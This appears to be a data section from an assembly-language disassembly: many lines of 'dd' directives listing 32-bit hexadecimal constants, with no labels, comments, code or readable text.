		dd 0B8A32DC9h, 73311D46h, 8FC58191h, 687DB589h,	8A50095Eh
		dd 5B6529CBh, 10F7019h,	7498AF00h, 9B774DE1h, 4A449D5Fh
		dd 0CED3C500h, 16EA5EF4h, 62DB0094h, 0C9E21ED5h, 0AD007C09h
		dd 1454A89h, 82127D8Dh,	246DA0C8h, 0A96BA99Dh, 637B566Ch
		dd 32D03589h, 6B00B492h, 0C1CC46F7h, 0A94C80h, 0E245969Fh
		dd 0FDB509DEh, 225949C9h, 292A842Bh, 818092D1h,	2788CAF2h
		dd 0ECE9262Ch, 64D0BAC2h, 0EDFC0E08h, 0A5207A61h, 8248D4B4h
		dd 0DDF7A800h, 6D311894h
		dd 80D60CD3h, 845C207Eh, 0D347C969h, 126E70B9h,	0C255A902h
		dd 0F3E7F180h, 3D93787Ch, 4049DA09h, 48608A1Dh,	0C17D4D2Fh
		dd 20708A55h, 1D709D5Bh, 9ADFABA2h, 0B9DB05A9h,	6195ECA4h
		dd 6FE919A1h, 7D7A2A01h, 0C7A47C02h, 5E55932Bh,	46BA0093h
		dd 402F8608h, 7920D2B8h, 907D07h, 19D9532Bh, 55BDBF50h
		dd 5BF956EEh, 8770C09Eh, 258D329Eh, 0C7B16E2h, 226D951Ch
		dd 5F119D73h, 0F652B02Fh, 738BE008h, 939C05D3h,	0A7F5C9DFh
		dd 37F700D7h, 22B190BCh, 9B87FE50h, 76940FCAh, 0F6FD3h
		dd 0AC73B6C1h, 0A06763C9h, 91107DA8h, 0B70F41BEh, 36D8FDD2h
		dd 284BF067h, 931C00D4h, 2958FB5Fh, 939AB99Dh, 8D1A33EEh
		dd 0DE0E2CA5h, 54840B44h, 0F4D8D4F3h, 85B605BBh, 90B5BD2Bh
		dd 3FFE9CEh, 9AD84593h,	3FD52F2Dh, 80A00364h, 808034A1h
		dd 12DE9638h, 969B0B1h,	20F18D13h, 223210F2h, 407E2389h
		dd 1747FAF6h, 0E0489F7Dh, 0BD913BF2h, 518292BCh, 0E0C00D31h
		dd 0AA5C9A94h, 0CC84422h, 0FCB98005h, 293B5515h, 1F5D8514h
		dd 202F2067h, 0B7BDFFC9h, 0EDF10FD0h, 71B5EB80h, 1E5C34E8h
		dd 0AFD04B8Ah, 50880F40h, 45834B1Fh, 0BE2319h, 2878487Ah
		dd 3811D6DBh, 0E680AF2Eh, 0CC923AB6h, 302F71EDh, 0C109013Fh
		dd 8410FD75h, 59C40173h, 7E590687h, 9007F25Dh, 2B168AD2h
		dd 33C7D790h, 7E40F648h, 8BAAA200h, 7F5FB749h, 99CD1758h
		dd 9ABA8D0h, 5E90E11Fh,	0F1E7DC78h, 0D28BD8DFh,	95BC0371h
		dd 4D950941h, 66056932h, 4050D68Bh, 32F4824Fh, 330F489Bh
		dd 0C230EB01h, 40EF95BCh, 4FE27F2Dh, 80F59B90h,	0E45B7D6Bh
		dd 6CF12D8Fh, 6E010144h, 25D36A62h, 72313781h, 7DD8717Bh
		dd 8C05040Dh, 29D4CF8Bh, 0CAB89CB9h, 39243C9Bh,	3138C125h
		dd 94765802h, 52B704DCh, 0A82B9020h, 0D75E130Eh, 0C1AD3524h
		dd 106E5Eh, 93B167FDh, 275D182h, 0E9020FB6h, 1B5601CAh
		dd 1B1B1588h, 0C4E512C6h, 58F0496Fh, 0DC76D6h, 59824B5Dh
		dd 2BD19503h, 7BA01295h, 275328F8h, 0AA0232A2h,	9E54D08Bh
		dd 6D08854Ah, 0E3601425h, 0D006CD12h, 614B24BDh, 11E6A04h
		dd 5DD23D9Dh, 8B32B890h, 0C61D0F3h, 904987D6h, 8090F38Ah
		dd 0BD74D567h, 2F8A14C5h, 28BCC849h, 27DE5D00h,	2CF14F73h
		dd 7104BF54h, 2A1D1426h, 24ECF758h, 0BB4D6C5h, 660DFB22h
		dd 5229709h, 0B82EEE9h,	0BE4A90F8h, 3440EC54h, 0FCC3DDh
		dd 4DD54B1Eh, 7F0EB223h, 0D6327107h, 5F0234DAh,	9E4690h
		dd 0D29D2C68h, 0FF19ADCCh, 92B9B574h, 8621A9BCh, 0F825B111h
		dd 0ECDC80ABh, 2F6D7DA5h, 214ACD61h, 5921312Eh,	6061E8B1h
		dd 5F1DE69Fh, 751B229h,	68BBB866h, 4548E689h, 30813B01h
		dd 0E13031F1h, 0E9618028h, 561DD5B1h, 0F10095A9h, 0FA428362h
		dd 0E3321D8Ch, 0B59E74h, 0F3E4BF2Ch, 59291EA8h,	0FD80AE61h
		dd 89226C6Fh, 24B200D1h, 0BA7AA1F2h, 30B5CBCh, 4854FA7h
		dd 0E9AE0B6Fh, 9C80804Dh, 6D0CFCEh, 0C681594Bh,	0E913B51Ch
		dd 2EB0F93Bh, 825208Dh,	54D86800h, 4BB95C37h, 0B466760Ah
		dd 18D49800h, 0CD9D6AF5h, 6CE1EBB5h, 33BA1005h,	70ED1337h
		dd 0F1288FFh, 84E0895Dh, 2857BC3h, 5B4026E5h, 9FCF6AC9h
		dd 8B53A3C6h, 0F72261CAh, 63607C87h, 1527A482h,	0D7501D03h
		dd 0DE06DA30h, 379D9061h, 0DFBC09D3h, 4DAFDA71h, 0F074C0FCh
		dd 0B10471BAh, 0DE864AAh, 80F15B40h, 0E3009F1Ch, 0C84F5493h
		dd 95438F46h, 0B9FAB0DFh, 9059801Ah, 5A35564Ch,	7093A3h
		dd 48CFB635h, 4A0A94B7h, 23171804h, 49C797BCh, 44B08AE5h
		dd 0D78B1650h, 0E013A690h, 1C319271h, 57952367h, 0D1EE221Eh
		dd 18973250h, 9DFE8B43h, 16E495C7h, 0BB493760h,	2E6284BFh
		dd 2D171314h, 0E8FBBD0Bh, 1FC091Fh, 29FEE58Dh, 0BF0E37A4h
		dd 2AA7F3CFh, 9035BFA2h, 200CA2BEh, 0AA2C3F02h,	91C5550Fh
		dd 19EF96ADh, 2B82ADF4h, 28252831h, 0C6095803h,	8908C2D3h
		dd 517956h, 0B4A0F488h,	5E000DE1h, 12156801h, 980E47Eh
		dd 0E9172E49h, 4F7A4689h, 5A7DDB45h, 917952B8h,	0E25BE02h
		dd 0F67CCBE8h, 0D1314046h, 0F705850Ah, 74B40530h, 24495981h
		dd 3375E901h, 88BF4AB5h, 6A88352Ch, 0B0F59501h,	45C5100Ah
		dd 0A04EBDFCh, 0C13FA01Eh, 680C32EFh, 0FD70043Ch, 577A02E4h
		dd 9390C190h, 1A0329A2h, 0AF8432E9h, 0DFA076ACh, 0A94AC530h
		dd 3F0A92CDh, 0E0F6514h, 5041C131h, 4A7CB66Ah, 6112806Eh
		dd 0E0C10EC3h, 963E6006h, 0F8352285h, 0CA20494Ah, 0F43CE981h
		dd 5D443525h, 3864F4E7h, 0EC80F9ABh, 0F3E98538h, 89F870A8h
		dd 2EA5B55Ah, 0BA73B2A5h, 1D94AE70h, 0BB2E113h,	0E9078407h
		dd 0E80B9895h, 8146A0DDh, 25CC45CEh, 0D321767Bh, 6E03D185h
		dd 3F8060DEh, 0EE8F3B4Ah, 0E81C0B04h, 7AEE07A7h, 0D80C0B2Bh
		dd 10B77C83h, 16233B0Eh, 309218EDh, 0BBB67065h,	5F0F709Bh
		dd 89CE4709h, 8A4FF48Dh, 47904DE8h, 35DBF1E6h, 0A16C931Eh
		dd 0DDBD9053h, 0EF0EA6B8h, 3337B8CCh, 0AE20E057h, 69E82F64h
		dd 0D64D7911h, 2AB026C7h, 32012DCEh, 0C62235Dh,	17999490h
		dd 4123CF9Dh, 2E31141Dh, 0E84E42AEh, 915B06BBh,	5826F0D3h
		dd 0D210021Ah, 0DF765AA1h, 0B26C1C56h, 9E2EF3D9h, 0F1479240h
		dd 0C2299D01h, 40247C45h, 796B965Dh, 57E8020Bh,	0D011D306h
		dd 37311362h, 159DB0A8h, 8D950900h, 334A1592h, 0E81ACBE2h
		dd 987B6D21h, 299A270h,	0B3E6D27Fh, 3D02A9B5h, 42F19225h
		dd 97F10AD5h, 260B0908h, 0E281031Bh, 0A014603h,	6147FDF2h
		dd 8754DBE8h, 57E0E2E6h, 42010895h, 0AE536401h,	2133F868h
		dd 0F9240912h, 1FC09DD0h, 0C6C5F8A9h, 0E43100D1h, 3E41353Dh
		dd 6D06BC21h, 0F4E52270h, 0E8CE0B44h, 29FE058Ch, 2A3400F4h
		dd 0F998405Eh, 66B55357h, 13F7F9FDh, 7B0751A4h,	3314701Ch
		dd 10F03559h, 0B052691h, 4D1B2DB5h, 41C32BF6h, 93866BEFh
		dd 3124DD74h, 0ADDDE4h,	4FA22D29h, 3D731DD6h, 0CF7BFA74h
		dd 6FDBBF01h, 59F38BBAh, 4E51A0B4h, 98E1C8E9h, 6E6D9501h
		dd 7162E758h, 98F59517h, 84032Fh, 0D03165C8h, 0F25D34FDh
		dd 257803Eh, 0E8E22AF0h, 5769CAD6h, 9F000C37h, 651462E8h
		dd 3F8C9D85h, 36B0AD88h, 87F2379Fh, 508C51DDh, 290F6A56h
		dd 9D4DB529h, 85AF7F1Ah, 0F8FDA973h, 73671748h,	27F9790Fh
		dd 169F8610h, 30CBB28Dh, 0BD31475Ch, 1022423Dh,	66001091h
		dd 0E8A37DBFh, 7B950447h, 232CD095h, 39B5431Ch,	0EE044BD6h
		dd 8D4F2795h, 69DF3192h, 0DC83042Ah, 560984A9h,	785E8826h
		dd 25A7044Fh, 0B34D65A0h, 76574A30h, 50D99589h,	9C5D3E1Fh
		dd 8DC14032h, 1897B0A0h, 0A818DDh, 13CEB84Dh, 91E3A543h
		dd 0CD7F4297h, 2A94E04Fh, 8E0BABBEh, 2EB7584h, 5D05DDEAh
		dd 35958414h, 43AB0A3Fh, 949000DDh, 234591ADh, 8D968B7Ch
		dd 34D048DCh, 5E314D10h, 0F069C7B5h, 8B25ACB8h,	116ED2F8h
		dd 0A803B98Dh, 1D048C17h, 93FB0EF6h, 0CA20FEF9h, 9BF50ED2h
		dd 0B7BC2044h, 85891A9Ah, 1EB0AE7Bh, 0BC78193h,	78DE406Ah
		dd 8BC1F256h, 9B3B5BF7h, 0C69A8F18h, 20F40ADAh,	95EA27ADh
		dd 7F14A525h, 62E1D84Dh, 9A84695Ah, 0BB1A89F9h,	0FA000F6Fh
		dd 0BFFCF2A1h, 202626B4h, 424063E4h, 0EF16B504h, 0A018DDCCh
		dd 832B015Ch, 2AFF7976h, 5E35545Ah, 8412DCD2h, 0B2BFD2D9h
		dd 14245834h, 2A3C3331h
		dd 0A5BBC739h, 12674B70h, 0A86050BFh, 0B31A3764h, 16D14555h
		dd 0D2B45E61h, 0C76EBBC7h, 0FD735D00h, 44128B25h, 0E5FAE650h
		dd 6813240h, 7C0BE3D6h,	4927D07Dh, 40CACF12h, 6AC66C53h
		dd 43B4DF6Bh, 0A6BB4A43h, 8DF9E370h, 0CC58CCh, 2B7B8EF8h
		dd 45CA1387h, 2C0AAE00h, 0C935B547h, 3E26189Ah,	9C5C8B8h
		dd 2507FF82h, 422D5839h, 1ACB6126h, 60B8B369h, 7C5D6E5Ch
		dd 0F8B1D18Bh, 9FE6D246h, 0DC07C837h, 6465DB89h, 1AF108BFh
		dd 0D1DC637h, 0D8CBA502h, 308F2437h, 0F592BF09h, 0FD727433h
		dd 62F5A889h, 32A16CF8h, 9662CE13h, 0AA5D35EEh,	0E819B06Eh
		dd 0F6195CFEh, 38C6BDDFh, 0B5DC127Bh, 812B47BCh, 0F7A046CEh
		dd 0D8B7BDh, 22DA0CF4h,	204FE937h, 0BCDF6811h, 9DEA0DDFh
		dd 6E407270h, 0A401676Eh, 3F46F8D4h, 6F9071C0h,	9A3F899Dh
		dd 60388EDFh, 0F8F2656Bh, 0F941444h, 805E2182h,	0ECD58034h
		dd 8DF66A4Ah, 6EF02EF3h, 6B1C0D1Ch, 78236A0Eh, 0AD0917C2h
		dd 0DE60F442h, 13EF40E0h, 69014B92h, 80BDD5BBh,	0C13AF3D3h
		dd 2B2B158Fh, 778161DEh, 0D6F9D4ECh, 0B8E2016Dh, 2DD76080h
		dd 0E6628209h, 8AF48277h, 7046DBC5h, 3B012691h,	0CC9A6FBBh
		dd 553414F5h, 0DBC04F8Bh, 0FB068547h, 0AEA4C2A7h, 38A8B6E9h
		dd 62B7E985h, 120F989Dh, 3EA5A2BBh, 0B03553Dh, 0A0D2890h
		dd 0C87D4BEFh, 0B3CE8C3Fh, 955E64BDh, 1B802259h, 8372A7D0h
		dd 266200D2h, 0A9302B36h, 4D9D6A9Bh, 0A838E169h, 0C5086B53h
		dd 4A5F1B32h, 95319009h, 0DE877EFDh, 0AF055371h, 8AA5B87Ah
		dd 0F849707h, 0FCC71259h, 0AB1B4039h, 800731B5h, 0A0D1275Ch
		dd 46DA3881h, 8D49816Eh, 435B0234h, 0BDA2E72Fh,	2C6B5819h
		dd 2F97C083h, 4D27F910h, 0DD88ED00h, 0DE61E9CFh, 0AB291703h
		dd 9419E933h, 28051086h, 0BF906100h, 46567971h,	0D1275054h
		dd 89D6231Eh, 817614h, 5410ECD3h, 25D88BCAh, 9DE4905Bh
		dd 8F4FD100h, 0D3E1C2B2h, 81C900EAh, 278837F3h,	1125540Dh
		dd 0DEA25C6Ah, 175F1F02h, 40696F20h, 133A601Ch,	0B66A2E0Dh
		dd 98D7F061h, 0BDA14A4Ch, 8DAD292h, 8736EA80h, 60024EB4h
		dd 0AD9509E7h, 198D0704h, 0BD4191FEh, 52585h, 0F176D37Eh
		dd 6FBCD1FFh, 315204DCh, 0BA2A0985h, 97B3D1BCh,	0C5E62F4Fh
		dd 43CEE8E0h, 91BDB601h, 840F026Ah, 0BF124463h,	480C6DBh
		dd 0DC256678h, 0FB91840Ah, 3855E216h, 0E81C518Eh, 0A1965F51h
		dd 37B5F1AAh, 0FD02003Fh, 0B569BD7Eh, 0F8502714h, 4A9938E4h
		dd 0B180DD9Eh, 0D25E9F9h, 882F45B5h, 6602953Bh,	0E9FC78BBh
		dd 85101EFAh, 0F4A1D97Ch, 0AB883A0Bh, 4E109590h, 83013176h
		dd 0BA23151Bh, 0E32EEAABh, 63470549h, 0E1C3AD45h, 4EEDB02Fh
		dd 2498033Fh, 609084A0h, 0DC5761EAh, 0BABFC45Ah, 0F99689BDh
		dd 2A6B8FEh, 8EDC67D2h,	0CE60BD37h, 95278B60h, 0EDB97275h
		dd 28EFE5CFh, 0FDB1E879h, 0EA341400h, 2D6E6704h, 5241C73Dh
		dd 6A5B0027h, 0B5090BFFh, 6F90DD1h, 0EDDA8925h,	0C592C096h
		dd 0D63548E8h, 1FE96C50h, 40110450h, 2FF5E909h,	6CE45552h
		dd 0ABDE0039h, 0ED44EFEEh, 3D15C619h, 5EA8B02Fh, 8E2053A1h
		dd 0E4ABC10Dh, 3EFC8A71h, 0E6FF59D2h, 2DDE79C7h, 0FE4C8B6h
		dd 283F1E00h, 6E927C58h, 17F70142h, 0BAF80788h,	3FB72A06h
		dd 9D9E5800h, 0BDE20A1Ch, 5BD46500h, 21681DFDh,	8D312DC6h
		dd 8B122252h, 3A0460C1h, 0F5041041h, 89A1F161h,	0F424E9AEh
		dd 0C9D949F7h, 0BD1521A6h, 0C82B1AE4h, 0DB4041CCh, 728B0B60h
		dd 459D27D1h, 9833A7Bh,	272DB18Dh, 31A8857Fh, 3DA0393h
		dd 89ED21BDh, 563EB042h, 0D7B046E7h, 686B112h, 3B28249Ah
		dd 24459FD0h, 258DCA8Ch, 228B5575h, 41A01322h, 84AF1B5h
		dd 868005F9h, 0CB54EFBEh, 0F9615B25h, 9CD0A524h, 0FE824CB5h
		dd 81314191h, 0FA69C79Eh, 1A42A583h, 3B86A1FEh,	0A43C8934h
		dd 507C8A90h, 0E2DF1D2Bh, 59E96B0Dh, 7B51001h, 83B7E14h
		dd 962D1D23h, 11605CDEh, 0CB97540h, 2790DEA9h, 3109E882h
		dd 5B6A615Ch, 0D0157800h, 152BD12Ch, 0B4AD2C17h, 0AB75F2DAh
		dd 7C880B44h, 0DEB98471h, 0BD099107h, 0FCB64CE9h, 39801791h
		dd 29018187h, 6E6AF9A9h, 43A604BCh, 22BADE0Eh, 58ABAF9h
		dd 4CD0818h, 0C233AD03h, 0D0602CD1h, 75123EB0h,	0E0F5A6F4h
		dd 912ECB5h, 3CC75F8Fh,	0EC22E6Dh, 0F88C403Ah, 7B885B0Dh
		dd 34D200B9h, 6C13D118h, 6DC21386h, 0DDBF0526h,	2B7ABE0Ch
		dd 66CED502h, 0D142FB71h, 4E34AC82h, 78C19E41h,	0B07C46FBh
		dd 1CF8B983h, 86C28B50h, 8C10318h, 0D0ACD2F1h, 0B7955819h
		dd 2C5A136Dh, 5F5A5291h, 0EF170E0Bh, 1E49418Bh,	0CD4AF88Eh
		dd 8F0F8316h, 8D08B8A2h, 0AB2C1ADDh, 2D115908h,	0A3657A41h
		dd 62583B27h, 0D887038Ah, 0BB64A174h, 3D7328C0h, 7F6A1E9Eh
		dd 0E8118D67h, 3237F94Eh, 4136CCA0h, 0FA0B93Bh,	64CA0391h
		dd 79C0E1FFh, 679EE9D7h, 8FDE460h, 5267C866h, 1200EFCh
		dd 0ABBD544h, 71936486h, 0CAD94F12h, 3856D28Dh,	66E903F4h
		dd 89BD7F6Ah, 0C264B192h, 723BB00h, 0C618BF60h,	0F1724F8Ch
		dd 290D20FEh, 0E18000F5h, 0BF6DB504h, 72D1C9C0h, 0B7884C9Dh
		dd 12AEE307h, 27F6BC0Ah, 6F43EFBFh, 0FDBA13B3h,	2CA64CC8h
		dd 0CDA77D99h, 83C0C481h, 51E63580h, 1A8AE4BFh,	192D8533h
		dd 1D937F5h, 435F2B73h,	0B78B2091h, 6090FF02h, 404FBE66h
		dd 0CBFE4Eh, 50616A2Ch,	412BEFBBh, 0E290602Eh, 0B4AA00DEh
		dd 0D6196E3h, 0A5BE810Fh, 0E73EB78Eh, 0DDC639CFh, 20CF98CDh
		dd 68041055h, 9E189765h, 578044BCh, 5C5B1563h, 9AA04095h
		dd 6206286Ch, 6BEB3DE7h, 0C51277D8h, 29B3FA2Ah,	0B99C4100h
		dd 0A2B32535h, 8589E507h, 7919FC21h, 57238173h,	0E8944DACh
		dd 0EFBD01C2h, 7B804098h, 619F8315h, 6BBB19C9h,	0EFC7FB12h
		dd 0FEC2EDF1h, 0AD00DCFEh, 0AECF6CAAh, 25FEBAACh, 4193F88Bh
		dd 739741E8h, 0E7A5BF05h, 58345D6h, 6083051Dh, 0D475BD29h
		dd 9220BF97h, 3EEA1BA2h, 8B82B021h, 56615AF7h, 0EBD18D98h
		dd 79A600Ch, 5E89D25Fh,	1C1A7A2Bh, 0F5C0A448h, 0D6EB8021h
		dd 0BF060089h, 4B0DB9CDh, 0A093EDB7h, 5780F51Fh, 890A35ABh
		dd 0B1045E46h, 501F83E1h, 181E880Fh, 0B07E861h,	6304F595h
		dd 4B3A79F3h, 5E8E8BFCh, 0FEA480FFh, 0DA024854h, 0BD85B818h
		dd 9E2434B4h, 4C09DC34h, 1E3278Eh, 0DAE6CB44h, 24D9A471h
		dd 4E2892Eh, 80EEDEC1h,	0E611DE3Fh, 506807F0h, 45C15B2Eh
		dd 8016B852h, 1E191569h, 0D32200DEh, 0B1329A3Dh, 4E0048F0h
		dd 2F135AACh, 0BBF310Fh, 289697F9h, 82A3BC0Ah, 3EC3D5AFh
		dd 0DC21DEh, 202A1E4Dh,	0F1017938h, 0AF8D4E24h,	1DC39065h
		dd 0A0B2A4FBh, 63264900h, 0B4DE589Ah, 0BA133707h, 32994CBBh
		dd 0D7A600DFh, 0C0610DC9h, 2B46DB0Ch, 45B185C7h, 603AEFADh
		dd 9650ED45h, 1672C000h, 662D65ECh, 77D8588Bh, 97346041h
		dd 0C05E116h, 0BBA19D9Fh, 0CE8EA003h, 4E21E953h, 50C98C21h
		dd 0F60C302Fh, 1873920h, 0AD10E8C1h, 4C82200Eh,	584A03FCh
		dd 0EBE76E43h, 81367736h, 857B0E64h, 29501B8Ch,	1821D028h
		dd 1135833h, 4E1B5742h,	0BBF95B0h, 72F88D0Bh, 6830F651h
		dd 8FB8F4h, 3B3DBA85h, 5F02428h, 5B5C7402h, 0E597A265h
		dd 2C850B0Ah, 8BDB33C2h, 0A51DCA70h, 55029ABDh,	0A389F485h
		dd 5BD8124Fh, 2418AD10h
		dd 0AD081FF9h, 0B352021Ah, 857E5B5Eh, 5F012332h, 42B4C774h
		dd 0DF06C783h, 0F62E040Dh, 2070E062h, 3C0B00CEh, 0E4F1F7CCh
		dd 0D94E8AFDh, 16A52801h, 287E8D0Fh, 640061C9h,	630233B3h
		dd 178FA56h, 0E29D3CCAh, 0FC77F0C6h, 3A0E9579h,	62516050h
		dd 68615E59h, 0A4FA8A52h, 0B3ED9D7Dh, 657B30C0h, 0D6632E82h
		dd 28BA1FBDh, 27292DA1h, 8F40674Fh, 7CE62321h, 5C125CA2h
		dd 21090D17h, 59D6FAEFh, 0B86F7DC9h, 6BAD02F6h,	7758F96Eh
		dd 750916C1h, 0F0A9368Eh, 571088Ah, 1D935C5h, 0FCDDB051h
		dd 86894F0Ch, 4A8B2DC4h, 4A46A99Dh, 0DC8AD730h,	509200BBh
		dd 0C283235Dh, 3EB9F504h, 9134D180h, 4FE2F2Eh, 5089EFCDh
		dd 0B9BAB920h, 7F302831h, 49084ED5h, 105FC9E2h,	7C10E9ACh
		dd 0A46DBDFDh, 19A8A4CFh, 86D108ECh, 0E00BDF09h, 0B886A882h
		dd 8629BD55h, 1E3E5A19h, 0B9CBE306h, 904A6C5Ch,	6AD948BCh
		dd 0A221E6A5h, 2819D93Dh, 1C599D3Eh, 0F61C8B2Dh, 0A00FF4B9h
		dd 8234BE9Dh, 7C9FF579h, 15B3618Fh, 0D9C82B50h,	17250011h
		dd 8F5F47A6h, 0BD008E42h, 0CC061C79h, 21ACE01h,	0B35A7736h
		dd 0EA4A5F14h, 27D37768h, 419583ACh, 6241177Fh,	0CA73569h
		dd 12C0BEEDh, 98F8BAFEh, 42F57EB3h, 264D34F9h, 0C1629BEBh
		dd 0F9650B1Dh, 5D19121h, 14BB5000h, 415F1817h, 9B05AD7Eh
		dd 61FF261Dh, 328C0F8Bh, 0DC84FC3h, 14AE00A7h, 0BA31EF41h
		dd 0D700AC01h, 0FF49E35Dh, 0B08768D3h, 98DA8452h, 6D95161Eh
		dd 0E815ED2Eh, 3DF304C7h, 81532E7Ah, 21365CBh, 8457925Fh
		dd 0ADBEDF6Eh, 356B9326h, 8BD51100h, 0EE6834E2h, 0C829CE12h
		dd 0D9CF1B02h, 2DEA8257h, 802040Ah, 0F780842Eh,	5193C15Ah
		dd 77036D11h, 0ED7C1841h, 0CAE56080h, 0DC009887h, 72AB6249h
		dd 0E0E35EDFh, 2AF218CFh, 0B50928C6h, 5B82955Dh, 1C2F94B1h
		dd 0FCC72E74h, 0E1346100h, 0F8D30F8Dh, 623B017Fh, 0E0D785BBh
		dd 0E2022E40h, 0F7F3CBE9h, 0BC0F8DBDh, 0DB9C0F4h, 0E42B9DA6h
		dd 8B83A855h, 785093C1h, 37251A09h, 7A6EC629h, 0A5CA3BBFh
		dd 74B35089h, 63BF8250h, 0E664CFFh, 0D5233EC3h,	9F9BB788h
		dd 0BB1E6860h, 62E0B482h, 0A3D65471h, 0D8776975h, 834CE640h
		dd 0C26DB7C0h, 5C79D5E2h, 0E85293BCh, 0F400D2C8h, 276E133Ch
		dd 0B66A5E5Bh, 7013F1ACh, 0FCEE3121h, 0DA094FB1h, 154C259h
		dd 5E396686h, 2EB5F995h, 208D26D8h, 0BB042CBDh,	1CF51B75h
		dd 0E6D6CDACh, 0F2E0E721h, 163FD4F9h, 0B893A8CEh, 29E08085h
		dd 0F50869Ah, 5110AFC9h, 0C2F49904h, 3871D12Ch,	4847811Fh
		dd 0DD500B19h, 25E51ECEh, 295091F8h, 44E91495h,	0BF046653h
		dd 26A0B1Bh, 2E026EAFh,	95090FDEh, 17A76412h, 0C85031A7h
		dd 270084B4h, 0BFBE4B49h, 6AA70E98h, 200F587Fh,	0CC52CE2h
		dd 4A6252A0h, 4C3A91FDh, 0E0A5382Bh, 25BFA344h,	80FE9959h
		dd 880962DEh, 0C2561975h, 69C9DCE9h, 0A911BF07h, 8B47B05Ch
		dd 92310F63h, 0F84D898Ah, 0C09C96E9h, 0FD073306h, 3571148h
		dd 0C19F0A93h, 397C091h, 97DBE4B0h, 5B517423h, 5ABB0C07h
		dd 5589B7B6h, 1F4D3D32h, 0F2947F60h, 2529ECB1h,	0C541C585h
		dd 2652E5Bh, 0A9B823A9h, 59034E0Ah, 9259B31h, 4B24597Bh
		dd 2D4208CDh, 0F5E15F4Ah, 0C5F81301h, 0B0B530FBh, 7197614Eh
		dd 67ED4B9Bh, 7C6F0D40h, 7D6DB76Ah, 0B9D2D8E0h,	0E6AD2C53h
		dd 12D3A6C3h, 8C22E234h, 166039F7h, 0F4999D29h,	6134D13Ah
		dd 0D4FAE4B0h, 4C98C9E2h, 3C0089F2h, 9D7BC8CAh,	7F788E17h
		dd 0E40217BEh, 0B1503071h, 5F071D4Ah, 0ECA7CA85h, 0B0D04EF0h
		dd 6B3B3CF6h, 11BF6800h, 5B4273A5h, 1E9E0150h, 0BFF0F195h
		dd 77404B6Bh, 970368h, 55BD0B4Dh, 7B2B72Bh, 9EAB6A62h
		dd 6B6FECF4h, 0F6A972D9h, 2DC8582Bh, 1EACB75h, 32BDB778h
		dd 1632C8FEh, 2222B8DDh, 0D84B2B01h, 0CCB30A84h, 2B97B04Ah
		dd 6C1BD12h, 0BC01CE5h,	28B1259Dh, 104413C6h, 0A5851109h
		dd 3B332A19h, 7A04C316h, 8ACEBAE8h, 2201E272h, 0BC504E1Dh
		dd 925F28C4h, 89C11683h, 9D585195h, 2AD065BDh, 1DF0F160h
		dd 7766F7FDh, 8B557FF2h, 2D50DE9Ah, 0CB00C8B7h,	37B2C23Dh
		dd 0D7B095D1h, 0C8A861BDh, 0E587EB9h, 0D7A18D76h, 5DD1112Ah
		dd 0FCFED2ACh, 10860F16h, 39189FDCh, 658028FFh,	0C3802501h
		dd 2B275F10h, 70035BC0h, 9339AC5Dh, 1DA000EFh, 5CBFAAB7h
		dd 7C160B10h, 8B7D22Bh,	39E4FD83h, 0BA08A17Ch, 4B090260h
		dd 7E1F9B2Eh, 121BB79Dh, 9FAB228h, 0A5258589h, 9E20E8A8h
		dd 5F3BFAh, 0D0EAC8D3h,	0E1DECF1Ch, 0E6139728h,	89036C2Eh
		dd 795B9F32h, 8AB38920h, 8084D359h, 0B8AC04E3h,	0A82429BDh
		dd 0E4692EEAh, 4FE20190h, 60F1E716h, 25626BD3h,	0D4F7B908h
		dd 0C812DCDFh, 0A8B2DB41h, 0D6F9289h, 93EE4760h, 0AEC702B1h
		dd 71642F74h, 9252D74h,	0D649C2A7h, 7404F412h, 665657BDh
		dd 8D4A86A8h, 7D203AC9h, 404BEEDh, 1759F5EBh, 95C3816Ah
		dd 2CF82D14h, 2DE51E1h,	0BF873788h, 0C962A769h,	0F453D554h
		dd 0CC59F548h, 13E98C15h, 4AD8DD07h, 87E1BB4Eh,	38201589h
		dd 0E29495DAh, 8E217745h, 60C0497Fh, 827255FBh,	0F62DBD4Ah
		dd 0D98C8B80h, 63825CB7h, 0A0B54DFFh, 0B8FE206Ah, 64BA6269h
		dd 5F041729h, 874D05B8h, 482BE17Dh, 4D6B2AE5h, 652E4007h
		dd 960B42C7h, 0F1DDC2h,	0A426D47Fh, 31109F62h, 5B00B02Bh
		dd 0C1F3AB69h, 4A06959Dh, 0FFCDD6Bh, 6466C17Fh,	126BEE3Eh
		dd 58F6A303h, 0D1C938h,	0F2F15D48h, 499E02ACh, 903B46ECh
		dd 4F41FEh, 5E263AA2h, 98B60064h, 0BF50B2E5h, 0C012B1F1h
		dd 2BDB904Ch, 0D86A5785h, 6400AE7Eh, 8AE092C6h,	7AD1F1Dh
		dd 689CA73Ah, 0CC0712BBh, 44003254h, 8A341748h,	6BF3BEDAh
		dd 8927AC5Eh, 0E36CEDFBh, 8BEA31E4h, 5610B60h, 5AAFE980h
		dd 808E9E01h, 9A328D82h, 89A809B1h, 64F8B59Dh, 56E81295h
		dd 8525DEEDh, 6403CDF5h, 0BDC9601Ch, 0FA83021Ah, 9EE43CE3h
		dd 0CA558340h, 6643D025h, 0F37BDFAh, 8BF2B804h,	0C999C1FAh
		dd 897E4116h, 0FCB63E2Bh, 8021871Eh, 0D23DDBA5h, 0DD01AF2Ch
		dd 0D99A4A1Ch, 75790689h, 0B1408CB8h, 0DC314B35h, 7B0FBBA9h
		dd 0B25CDEAFh, 484C09E1h, 0C0D50044h, 0CBAC557Bh, 1D028F40h
		dd 50969172h, 418FF52h,	4C006DE0h, 0B7BAEE4h, 593204Bh
		dd 0DBECCC03h, 0A220AB9Ah, 9C6C48BFh, 8896141Eh, 0B718FD12h
		dd 224D48ECh, 0AD90B581h, 7601CA2Ah, 0B69C08CFh, 28C4D420h
		dd 36735917h, 5E685F01h, 2A986FF0h, 6FA4992h, 0DF250C51h
		dd 0CD4645Fh, 67AF13A1h, 0F34A3D94h, 2E89B4CDh,	0D7F150FEh
		dd 75817300h, 9C349CE6h, 9D0102E9h, 891232E5h, 0F4185EC2h
		dd 14320F0Ah, 0D2258961h, 0CF169595h, 1E4449Dh,	56270B47h
		dd 2AC7AAB6h, 0D02FF628h, 3D10A629h, 3FE91C24h,	0F46BF625h
		dd 3735830Bh, 255C502Ah, 0CC67C93Dh, 7927B35Ch,	9A53C450h
		dd 89C46825h, 807F378Ah, 0C12236Dh, 2908F7B8h, 0F27ED9Dh
		dd 521F1FBBh, 84FFB26Fh, 7ABA0415h, 0AA8A00D6h,	11EF2123h
		dd 31E10DE5h, 4B779585h, 3DF1315h, 0D0A1CFA7h, 0A71EC08Ch
